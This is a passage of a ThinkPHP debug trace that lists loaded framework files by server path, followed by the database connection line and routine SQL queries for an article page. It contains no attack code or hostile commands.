  61. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  62. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  63. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  64. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  65. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  66. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  67. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  68. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  69. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  70. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  71. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  72. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  73. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  74. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  75. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  76. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  77. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  78. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  79. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  80. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  81. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  82. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  83. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/Request.php ( 0.09 KB )
  84. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  85. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/middleware.php ( 0.25 KB )
  86. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  87. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  88. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  89. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  90. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  91. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  92. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  93. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  94. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  95. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  96. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  97. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  98. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  99. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/route/app.php ( 1.72 KB )
  100. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  101. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  102. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  103. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
  104. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/BaseController.php ( 2.05 KB )
  105. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  106. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  108. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  109. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  110. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  111. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  112. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  113. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  114. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  115. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  116. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  117. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  118. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  119. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  120. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  121. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  124. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  128. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  135. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/runtime/temp/067d451b9a0c665040f3f1bdd3293d68.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.001236s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.001850s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.030054s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.010190s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.001850s ]
  6. SELECT * FROM `set` [ RunTime:0.003601s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.001594s ]
  8. SELECT * FROM `article` WHERE `id` = 500490 LIMIT 1 [ RunTime:0.003182s ]
  9. UPDATE `article` SET `lasttime` = 1783005979 WHERE `id` = 500490 [ RunTime:0.013085s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 67 LIMIT 1 [ RunTime:0.024771s ]
  11. SELECT * FROM `article` WHERE `id` < 500490 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.019754s ]
  12. SELECT * FROM `article` WHERE `id` > 500490 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.001666s ]
  13. SELECT * FROM `article` WHERE `id` < 500490 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.004796s ]
  14. SELECT * FROM `article` WHERE `id` < 500490 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.012886s ]
  15. SELECT * FROM `article` WHERE `id` < 500490 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.010456s ]
0.314760s